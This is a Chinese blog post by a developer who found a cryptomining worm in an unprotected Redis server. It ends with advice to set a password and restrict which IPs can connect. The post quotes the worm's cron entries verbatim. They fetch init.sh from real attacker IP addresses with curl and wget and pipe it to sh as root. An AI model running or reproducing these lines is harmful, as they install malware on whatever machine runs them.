前段時間換了臺電腦，一大堆開發環境我實在是懶得在本地搞了，每次啟動來啟動去太麻煩了，索性直接在服務器上開 Docker 部署，docker pull 復制粘貼什么 Redis、什么 MySQL 分分鐘裝好，要用的時候直接遠程連接就行了，簡直不要太方便。

也不是什么業務場景讓我發現了這么一個病毒，因為大部分 Redis Key 都是設置了過期時間的，開發過程也沒感覺到什么問題，純粹是有一天我閑著沒事干，進入 Redis 命令行 keys * 看看，不看不要緊，一看好家伙，多出了幾個 key，大概就是下面這樣子：

uid:1
uid:2
uid:3
backup1
backup2
backup3
backup4

多出了 4 個 backup 前綴的 key，我第一反應這肯定是什么備份文件

正常情況下我根本不會在意，純粹就是那天確實比較閑，不如來學習下 Redis 吧（哈哈），于是，稟著好學的基本素養，我分別查看了下這里面的 value 是什么：

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh

*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh

*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh

*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

wget 是用來下載東西的，curl 是用于執行 HTTP 請求，點開 http://45.83.123.29/cleanfda/init.sh 看看到底是什么腳本文件：

又是改權限，又是關防火墻刪文件的，用屁股想都知道這 IP 肯定是國外的了：

查了下發現這是一種 Redis 擴散病毒，專門利用 Redis 未授權訪問漏洞的挖礦病毒。沒錯，就是 Redis 沒設置密碼，沒授權，讓病毒有了可乘之機。如果服務暴露在互聯網上就一定要設置密碼，不要裸奔 ??，很多同學大部分時間都是在本地開發，沒有設置密碼的習慣或者只是簡單的設置成 root 這種

另外，除了設置密碼，服務器開放端口的時候最好也指定下 IP，不然默認的 0.0.0.0:6379 任何 IP 都可以訪問